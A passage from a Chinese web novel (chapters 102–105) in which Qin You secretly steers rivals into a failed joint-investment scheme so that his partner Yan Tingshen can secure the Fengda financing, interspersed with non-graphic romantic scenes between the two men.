第 102 章 昨晚,究竟发生过什么……
“严总, ”秦桦放下筷子,笑着对严经山说,“现在该谈谈正事了吧。”
严经山也笑了笑, 对身旁几人示意。
酒桌前, 一干人等齐齐起身,小声退场。
偌大的包厢只剩两个人,秦桦率先走向一旁的茶台。
严经山拿餐巾擦了擦嘴角, 看着他的背影,眯了眯眼, 才起身走过去:“秦总想怎么谈?不过, 我要提前说声不好意思, 我今天实在很忙, 只能再抽出十分钟的时间, 还请秦总见谅。”
十分钟?
秦桦心底冷笑, 直接开门见山地说:“最近, 听说严总在亲自跟进锋达融资?”
严经山笑着反问:“锋达融资, 秦氏不是秦总在洽谈?”
秦桦低头倒水, 面色不变。
在公司, 能送到他办公室的, 都是一些边缘项目,老爷子根本不放心让他接触真正有价值的合作。
这一次,研发出最新型量子芯片技术的锋达科技主动寻求融资, 国内外的金融市场都在暗流涌动。
今早传出的消息,这才中午,不止秦氏和钧闵,据他所知,润熙也在虎视眈眈。
可以说, 锋达所能带来的商业价值极其高昂,一旦掉队,就是落后,所以秦氏绝不能错过。
这么重要的机会,老爷子怎么可能交给他?
而他在公司处境尴尬,又怎么可能瞒得过严经山的眼睛,当着他的面问出这句话,是关心还是羞辱,他心知肚明。
这也是他不得已之下,才会找严经山合作的原因。
一只贪婪无度的饕餮,他自认填不满对方的胃口,况且这只饕餮不仅永不知足,还不知感恩。
他帮严经山抓住严庭深的把柄,到头来,严经山给他的是什么。
‘只能再抽出十分钟的时间’?
过河拆桥的小人而已。
“当然不是。”但抬起头,秦桦脸上也是笑意,“是老爷子亲自在跟进。”
严经山抬腕看表:“哦?”
秦桦知道他是在强调时间有限,却放慢了语速:“可谁跟进,其实都没什么关系,最重要的是,想胜过润熙财团,严总有多少把握?”
听到这个名字,严经山笑意微敛:“润熙财大气粗,但他们的方案,不见得就是锋达想要的。”
秦桦笑了笑。
润熙财团底蕴深厚,对海内外的投资一向以出手阔绰著称,尤其对于前景广阔的项目,更是极度慷慨,而且会给原始团队最大程度的尊重,是奠定他们美名的基础。在这方面,严经山就算不服气,也不得不承认这个事实。
“我今天请严总过来,”秦桦说,“就是为了投资方案。”
“投资方案?”
严经山不禁好奇,“难道秦总知道润熙的方案?”
秦桦说:“那倒没有。”
投资方案、尤其是这么重要的融资,属于最高商业机密,才一个上午,恐怕润熙财团也只有相关高层了解,他怎么会知道。
无关润熙的方案,严经山的兴趣已经转淡:“那秦总的意思是?”
秦桦说:“我是指,可以百分之百,胜过润熙的方案。”
严经山看他一眼:“秦总,做生意,没有那么简单。”
秦家这三位,老大无故重症不起;老二整天寻欢作乐,不务正业;老三秦桦嘛,秦老宁愿把千里之外的无能孙子接回来培养,都不想让亲生儿子进总经办,可想而知秦桦的才能。
这种人给出的方案,就从这“百分百”就能听得出来,会有多么可笑。
秦桦当然听出他的讥讽:“做生意,我的确不算精通,但一加一等于二的道理,我还是明白的。”
听到这句话,严经山眼神突然闪过微芒:“一加一等于二?”
秦桦笑着说:“是啊。论单打独斗,你和我都不是润熙的对手,可一旦我们合作,润熙又能怎么办?”
严经山看向他:“秦总确定,可以促成这次联合投资?”
秦桦说:“没有把握,我怎么会开这个口。”
严经山的思绪正在飞转。
现在是最重要的时候。
不论总裁的交椅,还是锋达的融资,他都势在必得!
而拿下锋达,是他坐上总裁交椅最强有力的助力。
只是,和秦氏合作……
严经山微微皱眉。
严庭深被老爷子排斥,是因为和男人在一起。
这个男人,就是秦游,秦氏的总经理。
老爷子排斥严庭深,秦老却没对秦游发难。
要说合作,秦游会选的肯定是严庭深,无论如何也轮不上他。
“严总放心,这次合作,秦游不会插手。”
秦桦适时说,“你有所不知,秦游对公司的事很不上心,对这些业务往来,他也从来不感兴趣,更别提主动去接触,这么重要的事,老爷子也不会拿去让他练手。至于那一位,他出事的时候,秦游照常上下班,可没有半点要帮忙的意思。”
严经山轻易被这句话说服。
严庭深出事不是第一天,秦游作为秦氏总经理,能帮忙的地方很多,他也早有防备。没承想,这么久了,秦游一点动作都没有。
不论对方是选择坐视不理,还是彻头彻尾的草包,都对他有利。
只是……
严经山还有犹豫:“如果这个消息被他知道……”
“那就先保密。这件事,我听严总的意思。”
秦桦意味深长地说,“其实他知道又怎么样,把机会让给严庭深?哪怕秦游有心把主动权全权让出去,也要看老爷子能不能放心,把秦氏就这么交到外人手里。尤其是严庭深,老爷子是没办法,才默认秦游和男人厮混,可不代表他喜欢严庭深。”
严经山想了想,对他笑说:“还是先保密吧,秦总的提议事关重大,我必须慎重考虑。”
秦桦不动声色:“严总预备什么时候给我答复?”
严经山说:“四点之前,我一定联系秦总。”
“那就一言为定。”
秦桦说着,抬腕看表,“哦?还剩五分钟,严总事忙,公司有急事的话,不如先回去处理?”
严经山笑了两声:“秦总说笑了,哪里有什么急事。喝茶吧。”
秦桦面上不显,心底又是冷笑。
直到茶过三巡,他不再陪严经山浪费时间,起身告辞。
严经山送他出门,眯眼看着他离开,也转身下楼。
助理正在楼下等他:“严总,和智瀚任总约的时间要到了,需要尽快赶过去。”
“打个电话给他,改约吧。”
严经山摆了摆手,“先回公司。”
助理一愣,忙说:“严总,任总和我们达成合作的意愿不是特别高,改约的话,他会不会有想法?”
看到严经山转身,他小声加了一句,“毕竟智瀚的这次合作,您也知道,要不是……出了事,那位可是亲自跟的,相关后续早就铺开,董事长也在关注,要是出了岔子,那就不好办了。”
严经山皱了皱眉,犹豫两秒,对他说:“你去跑一趟,告诉任灏,我临时有紧急的事要处理。”
没有锋达,这次见面他确实不会毁约。
可和锋达的重要性相比,智瀚当然要往后放一放。
秦桦提出的联合投资大有可为,他必须先和智囊团讨论下一步行动。
再说了,智瀚只是一个初创公司,能被钧闵看中,已经是天大的运气,之前几次谈判总是放不下身段,晾一晾也是应该的。
能拿下锋达,和智瀚的合作告吹,也是功大于过,不会伤筋动骨。
助理见他坚持,没再劝,接着问:“那,改约到什么时候?”
严经山说:“明天再说。”
助理看了看他,只能点头:“好的。”
严经山转身上车,回到钧闵,立刻开了一场紧急会议。
下午三点半,他满意地从会议室回到办公室,对特助说:“整理好计划书,我要去福中路。”
“好的。”特助应声后,才上前一步,面带忧虑,“严副总,今天下午,严总好像在接洽锋达融资的事。”
在公司,严经山早习惯了这个称呼。
听到特助的话,他先是皱眉,随即展颜笑了一声:“瞧瞧,咱们这位总裁这是山穷水尽了吗,竟然想从我手里抢肉果腹。”
以严庭深的性格,不是穷途末路,不可能拾人牙慧。
看来这两天四面楚歌,就算是严庭深,也快要坚持不住了。胜利在望啊。
特助还有些担心:“可是,要是真的被严总拿下锋达……”
严经山笑说:“那也要看他有没有这个本事。”
严庭深也是人。
他在制定方案时遇到的困境,严庭深一样会遇到。
可惜啊,严庭深空有秦游这个情人,却拿不到一点资源,反而被秦老厌恶,自然也没办法进行联合投资。
和润熙的较量,他就祝严庭深自求多福吧。
除此以外,现在别说钧闵上下、就连公司外的人,对严庭深的处境都有所耳闻,他们这位雷厉风行的总裁,早就没有从前一呼百应的底气。
这艘巨轮正在沉没,而他蓄势待发。
他倒要看看,就凭现如今的严庭深,有什么资格和他争!
严经山越想,心情大好,笑着拍了拍特助肩膀:“快去吧,尽快把计划书赶出来。”
“好的。”特助正要转身,想起什么,“对了,还有智瀚那边,要现在给他回电吗?”
严经山摇头:“你去挑几个人,这几天带任灏的团队玩一玩,合同的事,也往后拖一拖,我们现在最要紧的,是融资锋达。智瀚……等忙完这阵再说吧。”
钧闵是任灏可选的最优质的合作方,他不担心这笔生意真的告吹。
特助也点了点头:“好,我这就去。”
他出门后,严经山到办公桌后坐下,给秦桦打了通电话。
—
同一时间。
秦氏大楼。
挂断来电,秦桦看着对面窗上映着的、属于自己的脸,不由深深吸了一口气。
他闭眼呼吸着这道俨然告捷的新鲜空气,脸上渐渐露出笑意。
“秦总?”
秦桦睁眼,转身看向桌前的年轻男人。
“严总答应了?”
秦桦点头,绕过办公桌走向他,满脸认可:“康明,我说过,既然你爷爷都认了你,以后叫我小叔就是了。”
康明垂眸:“小叔。”
“你啊你,真不愧是你爸的儿子,商业头脑,比他有过之而无不及。”
秦桦笑道,“这个方案提得很好,等到你爷爷回公司,我一定转告他,都是你的功劳。”
康明笑容温和:“您过奖了。合作是您一力促成的,我只是口头提一个建议而已。”
“哪里的话。”
秦桦叹了一声,“这些年,你真是受苦了,不过你也别灰心,一切有我和你爷爷,公司的事秦游不愿意插手,将来迟早都是你的。”
“我有今天,已经足够了,也全是靠小叔提点。”
康明又垂眸,“现在董事长不愿意见我,只有小叔看得起我,还这么信任我。”
秦桦看着他,突然问他:“今天早上,秦游让你去他办公室?”
康明抿了抿唇:“秦总他,不太满意我的工作。”
秦桦笑了笑:“你别放在心上,秦游放肆惯了,没有针对你的意思。”
康明沉默几秒,说道:“我明白。”
秦桦安慰他几句,聊过不久,门外传来敲门声。
康明顺势告辞离开。
秦桦又以长辈的口吻叮嘱他几句,才放他走。
康明转身出门,回到办公室,到下午四点半,接到一通电话,拿起报告,上楼去了总经办。
刚出电梯,他看到秦游也刚从办公室出来,于是快走几步,迎了过去。
“秦总。”
对面,秦游只转眼扫过他,脚下没停,继续往前。
“怎么样?”
平淡的三个字,似乎并不期待结果。
康明已经到他身边:“成了。”
之后又是平淡的一句回应:“嗯。”
康明走在秦游侧后,下意识看过去,忍不住加了一句:“他没怀疑。”
秦游才再看他一眼。
康明抿唇,拿文件的手不由收紧,自觉多余。
“做得很好。”
秦游已经收回视线,“辛苦了。”
康明的手微松。
往前几步,他又不禁问出口:“我能知道原因吗?”
锋达融资,这个消息董事长没有告诉他。
从秦游口中得知后,他也仔细考虑过,却没找到比这个更好的方案。
联合投资,在他看来,的确是应对润熙的最佳保底,就这样告诉秦桦和严经山,实在有点冒险。
仅凭秦桦自己,绝对想不出这么好的主意,又何必树立一个劲敌呢?
他不相信秦游会是出于好心,把这个方案无偿赠送。
不提秦桦,严经山和严庭深也是竞争关系。
任由秦桦和严经山合作,对严庭深又有什么好处?
秦游只道:“现在还不方便告诉你。”
听到这句话,康明没再多问。
他又看向秦游。
今天再见,对方好像很不一样。
分明洞若观火,对一切了如指掌,却在昨天之前,总显得漫不经心,随性得甚至有些懒散。
可短短一夜过去,今天的秦游,脸上少了几分笑意,变得冷峻凛冽,眼底眸光流转,也带着强势的锋芒,让人难以直面对视。
这种强势,有时简直不容抵抗。
今天上午,秦游指点过他的工作内容,闲聊时似乎随口一提,让他借秦桦对他的信任,装作无意提出联合投资的方案,他竟然没有太多迟疑,不计后果地答应下来。
但他没有后悔。
奇怪的是,也没感到丝毫诡异。
气质发生这样彻底的变化,他却觉得这才是真实的秦游。
当初,一个照面就把他看穿的秦游。
直到现在,他依旧看不透的秦游。
好像对方一夜之间,决定收起假象,回归本来面貌。
这样的秦游,更让他好奇,也更让他想去探索。
此刻他最想知道。
昨晚,究竟发生过什么?
“康总?”
康明回神,看到一旁的崔凌:“崔助。”
崔凌下意识看向秦游:“今天的会,康总也参加?”
秦游道:“嗯。”
崔凌于是闭嘴。
他跟着两人走进会议室,长桌前的人已经到齐。
“秦总。”“秦总。”
“……”
崔凌看着秦游在问候声中到主位前坐下。
紧接着,看到平常只会玩消消乐的手竟然拿起文件,他的心潮一阵澎湃。
秦游翻开文件夹,注意到崔凌的视线,对他略一颔首,淡声说:“开始吧。”
很有气场。
很总经理。
缓缓的,崔凌坐正。
看着桌上的文件,激动的酸楚涌上心头,他的手在颤抖。
终于!
从上班到现在,一天都快过去了,方案马上敲定,秦总还是秦总,没退回二世祖的样子……
联合投资计划书。
秦总让他做的第一份真正的计划书——
他真的在开会!
而且,竟然没打游戏!
这……
应该不是他累出的幻觉吧?
第 103 章 你想让我怎么突然?
直到将近一个小时后, 会议结束,崔凌还是不由地多看了秦游一眼。
秦游正起身,随手系了纽扣, 对他说:“下班之前, 把具体方案整理给我。”
崔凌也站起来:“好的。”
秦游转向康明:“跟我过来。”
康明点头,跟在秦游身后,回到办公室。
关了门, 他听到秦游开口。
“和秦桦相处,有什么困难吗。”
康明抬头, 看到秦游的背影, 顿了顿, 才说:“没有。他以为我想要你的位子。”
秦游笑了笑。
很莫名, 他看得出康明有点野心, 性格也并不天真, 却在回答他的问题时, 每每显得过于推心置腹。
他回身, 看到康明蓦然收回的视线, 笑问:“总经理的位置, 你想要吗?”
康明垂眸, 不知道他是在试探还是开玩笑,也浅浅微笑:“人贵自知。奢望能力范围以外的东西,登得越高, 跌得越重。”
秦游走到沙发前坐下:“你认为自己能力不够?”
“不是不够。”
康明如实说,“是不如你。”
秦游轻笑,只说:“不想原地踏步,就必须学会奢望能力范围以外的东西。”
康明看向他。
他说学会奢望,却没有否定那句“不如”。
可这么轻描淡写的自信, 没有丝毫让人反感的狂妄,反而带着理所当然的侵略气息,有种让人向往的底气。
一如他的性格,看似平淡随意,实际上,强势得不容分说。
这大概就是大少爷和私生子的区别吧。
康明抿唇。
就算有最接近的血缘关系,他也永远学不会这样的底气。
“另外,不要妄自菲薄。”
康明眨眼。
“我见过的秦家人中,除老爷子外,你是最有能力的一个。”
康明握住文件夹的手缓缓收紧。
他又看向秦游。
对方的话不是刻意提起,话落已经随手拿起响起提示音的手机,查看消息时,那张轮廓完美的侧脸悄然柔和,唇边渐渐牵起的笑意也不再疏离——
只是,离得这么近,看得久了,康明不经意看到一旁映着晚霞的玻璃窗,才后知后觉。
他的侧脸,好像和秦游有点相似。
就像这段血缘,是他们之间斩不断的联系。
“今天就到这吧。”
康明回神,看到秦游又从沙发前起身。
“你先回去,准备一下。”
秦游收起手机,“明天跟我去钧闵。”
康明心底思绪万转,看着他话落要走,还是出声问:“你不怕我是在骗你吗?”
“骗我?”
秦游看他一眼,笑说,“如果你认为他有资格做我的对手,也甘愿拿自己的未来做赌注,那么你大可以这么做。”
康明看着眼前离开的背影,一时无言以对。
他当然不认为秦桦有资格,也不可能拿未来去赌,更的确希望用这件事获取秦游的信任,以此走进这支秦氏中心的队伍。
他只是不明白,秦游对他根本不了解,为什么笃定他不会出卖,还让他直接参与这么重要的项目。
秦游没再关注身后,已经出门。
坐专属电梯去了停车场,出来没几步,他就看到正等在老地方的严庭深。
“又提前下班?”
秦游笑着接过严庭深的手,和他一起回到车上,“不是在关键时候吗,怎么比平常还放松?”
严庭深说:“解决问题,不是必须待在公司。”
秦游挑眉:“吃饭也是问题的一种?”
严庭深淡声说:“是必备的先决条件。”
秦游失笑。
之后两人到定好的餐厅吃过晚饭,回了苍苑。
再回到卧室,秦游记起什么:“对了,明天抽出一个小时给我,我带人去钧闵。”
严庭深问:“来钧闵?”
秦游把手机递给严庭深:“嗯。”
严庭深看到屏幕上的内容,握住秦游的手已经收紧。
他转向秦游,片刻,只说:“你没必要费心为我做这些。”
秦游笑说:“费不了多少心思。看看吧。”
严庭深掌中的力道又紧一分,才收回视线,打开邮件里的文件。
看完崔凌整理的方案内容,他眸光微动,又看向秦游:“今天,严经山为了制定新的融资计划,不惜延后其他一切行程。我收到的消息,他在筹备的,就是联合投资。”
秦游已经牵着他坐下,作势微微颔首:“这么巧。”
严庭深说:“他延后的智瀚开发案,我原本需要下周才有结果。”
秦游笑问:“现在呢?”
让康明向秦桦递出联合投资的方案,一是试出康明的立场,确定秦恒钟为他准备的这个左膀右臂,够不够分量;
其二,就是用联合投资、这个严经山一定无法抗拒的假象,迫使对方自愿露出破绽。
而关键时期的破绽,往往是致命的。
不必猜测,他知道严庭深不会错过这个绝佳机会。
所以这件事是成与否,都有用处。
成功,康明出局。
失败,严经山出局。
所幸他的运气还算不错,出局的是严经山。
“现在,”
严庭深看着他:“一小时前,智瀚的CEO主动联系了章铭。”
秦游赞叹有加:“那太棒了。”
严庭深抿唇。
秦游道:“不开心?”
“不。”
严庭深说,“我只是,不希望你因为和我在一起,做这些你不喜欢的事。”
闻言,秦游也微顿住。
他看向严庭深,忽地,轻轻笑了:“那你就该明白,我也不希望你因为和我在一起,左右为难。”
严庭深听完,视线扫过他含笑的唇,又微往上,和他对视一眼,下一秒,倾身靠近,吻了过去。
秦游接住他,笑着吻过,才说:“严总,明天几点有空?”
严庭深意味深长:“见你,我随时有空。”
秦游笑意渐浓,转而问:“你敲定智瀚开发案,需要多久?”
严庭深说:“明天中午之前。”
这个时间,是意料中的结果。
秦游道:“那就明天下午两点,钧闵见。”
严庭深没有拒绝:“好。”
秦游接过他递回的手机,把人揽进怀里:“严经山以外,你在钧闵还有多少麻烦?”
严庭深语气平淡:“他这棵大树连根拔起,剩下的杂草不成气候。”
“那就好。”
秦游顺手捏了捏他的耳垂,“收拾完残局,我功成身退,你自己一个人打理两家公司,到时候别喊累哦。”
严庭深垂眸,看到他说话时滚动的喉结,眸光微沉,又抬眼看他。
秦游转眼对上他的视线,还没开口,衬衫下摆在腰间摩擦,缓缓被拉了出来。
微凉的手掌划过肌肉线条的纹理,轻重交加,蹭得发痒。
秦游垂眼扫过,看见手背的骨节在白色衬衫下滑动,动作愈发肆无忌惮。
不多时,严庭深吻住秦游,半起身跨坐在秦游腿上,低头把人压在沙发靠背,呼吸在亲吻间急促。
秦游扶在他腰后,说话时,来不及分开的唇瓣变形蹭磨,气息也带着笑意:“这么突然?”
严庭深听着,忽而拉开距离,凝眸看他。
秦游挑眉:“怎么了?”
严庭深往前欺近,和他隔着呼吸对视,语气稍有低沉:“秦游,你对我,从来没有突然。”
秦游抿着唇边扬起的弧度:“你想让我怎么突然?”
严庭深眼底眸光闪烁,转而扣住他的手,绕过腰间,停顿片刻,才落在背后。
秦游手上用力,把腿上的人锁进怀里,含笑吻了吻严庭深低下的唇:“你——”
话音刚起。
察觉右手又被拉着往下,秦游倏地按住,手掌当即隔着柔软的布料,重重握在严庭深臀上。
严庭深脊背僵硬,俯身揽在秦游肩颈,语气听起来却似乎如常:“要我帮你吗?”
他手上动作没停。
金属扣的磕响细碎传来,秦游暗叹:“不急。”
严庭深才顿了顿。
他又看向秦游:“不急?”
秦游道:“不用勉强,我知道你不习惯。”
严庭深沉声道:“是你在勉强。”
秦游只笑了笑,托在他臀下,带着他从沙发上起身。
身体骤然腾空失重,严庭深下意识收紧手臂。
转脸见秦游一言不发,他抿唇贴近秦游颈侧——
感觉到温热的气息拂过,秦游正要开口,颈间冷不丁传来一阵刺痛,但转瞬即逝。
严庭深闭眼,前额抵在秦游耳边,低声道:“对不起……”
秦游侧过脸,也轻声问他:“生气了?”
严庭深道:“没有。”
秦游正要转身把他放进沙发,然而刺痛早已消散的颈间突然一暖。
温热的触感柔软湿润如潮,在敏感逼仄的痕迹上吸吮平抚,仿佛试图消除痕迹。可惜事与愿违。
“……”秦游按住严庭深的手微重,嗓音又悄然低沉,“气消了?”
严庭深的声音显得低闷。
他还是一样的答案:“没有。”
揽在肩颈的手已经探进大开的领口,不被限制,更加无所顾忌。
“……”秦游把人往上掂了掂,脚下一转,走向浴室。
没多久。
房门开合,水声响起。
—
次日。
秦游和严庭深一起吃过早餐,各自去了公司。
到下午一点五十五,秦游准时出现在钧闵楼下。
崔凌带着团队跟在他身后,一行人浩浩荡荡走向门口。
康明走在秦游身后另一侧,隔着一段距离,看到另一行人从钧闵大楼出来。
隐隐有笑谈声传来。
“秦总,明天上午十点去锋达谈合同,你可不要迟到啊。”
“一定一定,严总放心——”
秦桦的话还没说完,被身后助理低声提醒,不由皱眉看了助理一眼,顺着对方的视线看向身前,他猛地住脚。
严经山同样很快看到迎面走来的秦游。
西装革履,远不是他猜想中的草包形象。
正相反,那张笑意吟吟的脸看不出城府,举手投足也不疾不徐,有胜券在握似的从容自若。
严经山也皱起眉头。
他看向秦桦:“秦总,这是什么意思?”
这个问题,秦桦回答不出。
他看着被簇拥的秦游缓步走近,心中一股不祥的预感油然而生。
可事到如今,他当然不能不战而败。
“……秦游,”秦桦强提起笑容,往前走了两步,“你怎么到钧闵来了?还有崔凌——康明?你怎么在这?”
康明从秦游身后出来,对他点头示意:“秦总监。”
秦桦看着他,又看向秦游,脸色慢慢难看起来。
“秦总监,怎么,董事长没跟你提过吗,”
秦游停步,笑着说,“我和钧闵的严庭深严总,准备联合投资锋达科技。”
秦桦的心刹那沉到谷底。
严经山也霎时变了脸色。
正在这时,他的特助匆匆跑来,到他耳边说了句话。
“你说什么?!”
严经山脱口说完,立刻咬牙切齿地收声。
他充斥怒火的眼神恶狠狠地刮过秦桦,又横向秦游,只能强按质问,踩着极端的愤怒转身离开。
秦桦看出严经山最后的眼神,知道这件事无法善了,不禁转向康明,脸色晦暗不定。
没想到,他竟然被这种货色摆了一道。
康明没有说话。
他正垂眸,一道高大挺拔的身影忽然挡在身前。
“走吧。”
康明抬头,看向秦游的背影。
有什么说不出的东西淌进心底,他沉默着,依言随着人流越过钉在原地的秦桦,迈进钧闵明亮的大门。
第 104 章 在这里谢你?
“严——”
——总, 智瀚开发案的合同签了。
一句话,章铭一个字还没说完,就看到老板已经出门, 他赶紧跟了上去。
他没忘记两点钟要和秦氏洽谈联合投资, 只是今天对接的人不止是合作方,更是老板的“自家人”,他没想到老板这么看重。
况且, 以前大大小小的洽谈,严总从来没亲自下楼接过, 他一时没反应过来而已……
再看裴助——
裴助也已经走了。
章铭咳了一声, 追到两人身后, 带着众人赶到楼下。
迎面看见那位秦总时, 他正要加快脚步, 却发现老板脚下忽地一停。
他下意识看过去, 又顺着老板的视线, 转回对面。
有什么问题吗?
来的人没错啊。
那位秦总当先走在一行人前。
身边的人他也有印象, 是秦氏上任副总经理没几天、又调职到公关部的康明, 听说是秦家的私生子, 和秦总同父异母——
章铭一愣。
不对啊。
一个私生子, 怎么和秦总关系这么好?
他再看过去。
康明双手拿着文件,走在秦总身侧,在低声询问什么, 虽然落后半步,可走动间肩臂不可避免地撞在一起,看上去丝毫没有生分,还挺亲近。
而且,以前没见过本人, 现在见了,这位新任总监看着温润如玉,很好相处的样子。
应该是从秦总得到答案,笑容也温和内敛,看秦总的眼神不像是传闻中搏上位的心机深沉,反倒更像是敬服,站在秦总身边,稍微显得矮了一点,竟然真有点兄弟的感觉。
走得近了,听到康明的称呼,章铭又是一惊。
“……知道了,哥。”
哥?
不愧是豪门,对这种关系接受得就是快啊……
章铭腹诽着,跟在老板身后,来到秦氏团队前。
裴笙也看了康明一眼,才对秦游道:“小秦总。”
秦游略一颔首,看向严庭深,笑说:“怎么下来了?”
严庭深到他身前,转眼看向他身旁的康明。
康明难以和这样凛厉冷漠的眼神对视。
席卷的凉意和沉重压力莫名浮上心头,他避让地垂下眸光,攥紧文件,往后退了半步:“……严总。”
严庭深已经收回视线:“嗯。”
他再往前一步,抬起手,抚过秦游平整的前襟,正了正这条领带,才抬眼,看着秦游的眼睛,淡声道,“我想见你。”
周围鸦雀无声。
章铭深深低着头,妄想从光可鉴人的地面找到脱身的地缝。
幸好,老板只说了这么一句,就和秦总一起转身走向电梯。
不幸的是,回程路上,他离得近,总是一不小心就看到两位老板黏在一起的手,让他在陌生中倍感不适。
真是活见鬼了……
以前简直断情绝爱的老板公然在公司秀恩爱,有没有考虑过他这种单身狗的感受?
章铭的目光左右飘忽,生怕看到什么不该看的。
终于,到了会议室,双方分坐长桌两侧。
章铭本来以为照这情形,今天的洽谈只是做做样子,没想到资本家不愧是资本家,会议一开始,两位领头的老板就进入状态。
唯一和以往不同的是,这场合作,一开始就跳过了彼此试探的所有步骤,直接确定合作目标,进到了谈判的章程。
双方其余人手也全都变成了摆设,合作细节、每一条内容,在两人你一言我一语的三言两语里,迅速成型。
“分配比例?”秦游翻了两页崔凌准备的资料。
崔凌侧过身,正要低声提醒,就听到秦游已经根据资料里的数据,给出一个合理且极限的数字。
严庭深也看着秦游。
第一次,在谈判桌上和秦游见面,
第一次见到这个退去散漫随性,言谈举止透露出绝对自信的秦总,他并不感到陌生,却几度移不开眼。
这双眼睛、这张脸、这个人,永远有难以发掘透彻的底色,每一层都这样耀眼,炽烈,有无限探究了解的可能。
从过去,到未来——
“严总?”
严庭深回神,对上秦游的视线,随即颔首同意:“下一条。”
长桌前,除了两人的声音,只剩众人随之“哗啦啦”的翻页声,和不约而同奋笔疾书的动静。
崔凌则在震惊中怔愣看着秦游。
每一次,在他以为看到秦游天赋的时候,秦游总会用行动证明,那不是什么亮眼的表现,只是秦游能力的起点。
一开始,他以为秦游说出的数据是从秦氏收益考虑,可从对面的反应,他看得出秦游提出的每一项方案,都是在考虑到钧闵接受程度后,做出的决定。
对面的严庭深也是一样。
对方每每提出的数字,都是踩在他们在公司时商讨的底线。
两个人都没有因为这段恋爱关系,让出丝毫利益,公私极度分明。
但也正因为两人的恋爱关系,让这场谈判在无法复制的默契和互相信任之中进行,于是变得精准直接,这是进展迅速的两个关键原因之一。
另一点,是两人确定每一项数据的时间。
几乎大部分都是在一问一答间,崔凌自认还没反应过来,就已经到了“下一条”。
……这需要多么强大的反应和计算能力?
如果说是提前预估的结果,期间两人也做过调整,同样没有花费多久。
崔凌难以置信。
他甚至跟不上两人的思路。
看在场所有人,除裴笙还插得上话,他相信其余人和他是同样的想法。
他们好像只是来见证,而不是参与。
渐渐,崔凌也在沉默中飞快记录。
会议室内,一个小时转瞬即逝。
原本计划三天确定的合作内容,也在这不可思议的一个小时内全部敲定。
“……”
崔凌在满心复杂中跟着秦游起身。
室内,众人还是保持着不同寻常的安静。
显然这样的会议进程,对他们而言也是绝无仅有的一次体验。
秦游系着纽扣,含笑走到长桌前。
严庭深看着今天看似相同,却又格外不同的他,也走到桌前,和他面对着面。
“严总——”
“秦总——”
两人的声音同时响起。
秦游笑意更深,抬起手:“合作愉快。”
严庭深握住他的手,凝眸注视着他,也重复一遍:“合作愉快。”
台下,裴笙站在原地,看向两人握在一起的手,又看向不同以往的秦游。
那张本就难以忽视的面孔,原来还可以更加令人瞩目。
那双眼底流露出的凛然锋芒,单薄的镜片也已经难以遮挡。
他早该明白,庭深会爱上的人,归根结底,本质是和庭深一样的。
他们并肩站在一起,一切的一切,都这样相得益彰。
“裴助……”
裴笙身旁,章铭还一脸梦幻,“这就搞定了……?”
裴笙收回目光。
“是啊。”
他淡淡地说,“早就搞定了。”
章铭正不明所以,看到台前两位老板有了动作。
秦游看一眼时间,对严庭深说:“剩下的,不用我帮忙了吧。”
知道他和严庭深会展开合作,严经山势必要临死反扑。
不过那就是严家的内部矛盾,他不方便、也不需要再插手,解决只是时间问题。
在他话间,康明和崔凌等人收拾好文件,等在门边。
严庭深转眼,在康明身上扫过,才看回秦游:“你下午有什么安排?”
闻言,秦游轻笑,反问一句:“你有安排?”
严庭深只道:“嗯。”
秦游随手对崔凌微摆:“你们先回去吧。”
“……”猜测成真,崔凌目不斜视,“好的。”
秦游想起什么:“康明。”
康明往前一步,出声前,不由先看了严庭深一眼,才说:“秦总?”
作为“秦家人”,他当然知道秦游喜欢男人,之前见面的场景,也不难让人理解这两个人的关系。
只是,对方似乎对他没有好感。
秦游没去注意他的眼神,简单交代几句,已经转向严庭深:“走吧。”
严庭深也对裴笙示意过,和秦游径直出门,回了办公室。
秘书关了门,秦游问他:“说吧,什么安排?”
严庭深只握住他的手。
往前一步,忽然开口:“你很看重康明?”
秦游不疑有他:“他还不错。”
严庭深语气不变:“不错?”
“嗯。”秦游道,“心思比崔凌缜密,做事相对稳妥,想法也可圈可点,是个管理型人才。”
严庭深一顿。
秦游看他:“怎么突然问起他?”
作为副手,康明会做得很称职,但这样的条件,还不至于让严庭深亲自过问。
严庭深面不改色:“没什么。随便问问。”
秦游笑了笑,走到沙发前:“放心。他的性格也算安稳,我很安全。”
严庭深又是微顿:“那就好。”
话落,见秦游看过来,他忽而把人按进沙发,俯身吻了下去。
“秦总——”
含混的声音从唇缝里传出来,严庭深才微微起身,拉开距离。
他看着秦游,没再提起旁人,只说:“——今天,辛苦你了。”
秦游眼底浸着笑意:“那你要怎么谢我?”
严庭深的视线扫过这间办公室,又低头看向秦游:“在这里谢你?”
秦游也随他抬眼扫了一圈,闻言轻笑出声:“严总,究竟是你谢我,还是我谢你?”
严庭深神情是惯常的冷淡,低头时,嗓音更低,热气更浓:“你不喜欢我的谢礼?”
说着,他又吻住秦游的唇。
秦游把人接到腿上:“当然不是。”
严庭深吻得更深,抬手摘了他的眼镜,按在他的领带——
秦游扣住他的手。
严庭深睁眼。
秦游手上稍用力,缓缓把手拉到身下。
对上严庭深的眼神,他轻轻笑说:“还在外面,谢礼不需要太重。”
“……”严庭深垂眸,又吻在秦游颈侧,语气似乎如常,微僵的手也继续动作,“好。”
第 105 章 事实就摆在眼前。
下午四点。
副总裁办公室。
特助迟疑地进门, 看到立刻从桌后站起来的严经山,他低下头。
严经山疾声追问:“怎么样?”
特助摇头:“智瀚……已经和严总签约了,任灏说, 合作的事, 请您找严总商讨。”
实际上,任灏说的话比这不客气得多。
从秦游来到钧闵,他们就知道大势已去, 转而积极去和智瀚联系,试着弥补损失, 然而电话却一直是任灏的秘书转接, 声称任灏有非常紧急的事情需要处理, 暂时没有办法和他们会谈。
直到严庭深和秦游的会议结束、直到刚才, 他才终于设法联系到任灏本人。
“有事钟无艳, 无事夏迎春?”
电话里的任灏低声笑着, 年轻张扬的声音里直截了当的尖锐, “李助, 麻烦转告严副总, 将来一起共事, 我会派专人请他到京启玩几天, 请他务必赏光。”
特助明白,这是任灏对之前严副总拖延时间的反击。
而对方手中的技术,是钧闵看中的、仅次于锋达科技的项目, 根本不会担心没有市场,有反唇相讥的本钱。
也很明显,任灏看出了严副总目前的窘迫,才会这么不留情面,直接撕破了脸皮。
但这些话, 他又怎么能在严经山面前提起。
严庭深和秦游的合作,已经板上钉钉。
可怕的是,失去这个制胜关键,还不是他们现在最大的麻烦;智瀚开发案落回严庭深的手里,此消彼长,哪怕严副总有董事长这座高山,也不可能再有翻身的机会。
何况连续办砸两件这么重要的事,董事长本身对严副总也会大有意见。
特助看向脸色难看的老板。
任灏已经和严庭深签了合同。
